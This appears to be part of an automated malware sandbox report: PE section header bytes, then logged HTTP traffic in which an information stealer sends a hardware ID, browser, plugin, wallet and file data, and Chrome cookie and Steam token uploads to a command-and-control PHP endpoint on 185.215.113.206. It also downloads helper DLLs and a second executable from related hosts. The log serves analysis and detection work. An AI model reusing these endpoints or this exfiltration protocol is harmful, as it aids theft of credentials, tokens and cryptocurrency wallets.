00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 7a 79 62 6f 78 66 6f 00 00 2b 00 00 b0 06 00 00 f6 2a 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 6b 6a 6c 6f 61 63 72 00 10 00 00 00 b0 31 00 00 04 00 00 00 8c 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 31 00 00 22 00 00 00 90 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 38 33 46 37 43 30 36 46 45 46 33 34 38 39 38 38 39 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="hwid"0783F7C06FEF3489889415------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="build"stok------JKKFIIEBKEGIEBFIJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="message"browsers------CGIDGCGIEGDGDGDGHJKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"plugins------BKJEGDGIJECGCBGCGHDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"fplugins------JKECFCFBGDHIECAAFIID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKJKJDGCGDBGDHIJKJEHost: 185.215.113.206Content-Length: 7923Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJEGDAKEHJECAKEGDHJHost: 185.215.113.206Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 47 44 41 4b 45 48 4a 45 43 41 4b 45 47 44 48 4a 2d 2d 0d 0a Data Ascii: ------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------GIJEGDAKEHJECAKEGDHJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIJEGDAKEHJECAKEGDHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 2d 2d 0d 0a Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"------IDBAFHDGDGHDGCBFCFID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFBFBKFIDHJKFCAFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 46 43 2d 2d 0d 0a Data Ascii: ------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBFBFBKFIDHJKFCAFCContent-Disposition: form-data; name="file"------FCFBFBFBKFIDHJKFCAFC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHDHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"wallets------AKEGDAKEHJDHIDHJJDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"wallets------AKEGDAKEHJDHIDHJJDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="message"files------JKFIDGDHJEGIEBFHDGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJDBAEHIJKJKEBFIEGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 2d 2d 0d 0a Data Ascii: ------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="file"------IJJDBAEHIJKJKEBFIEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="message"ybncbhylepme------BKECAEBGHDAEBFHIEGHI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFIIIJJKJJKEBGIDGCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 2d 2d 0d 0a Data Ascii: ------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJKFIIIJJKJJKEBGIDGC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
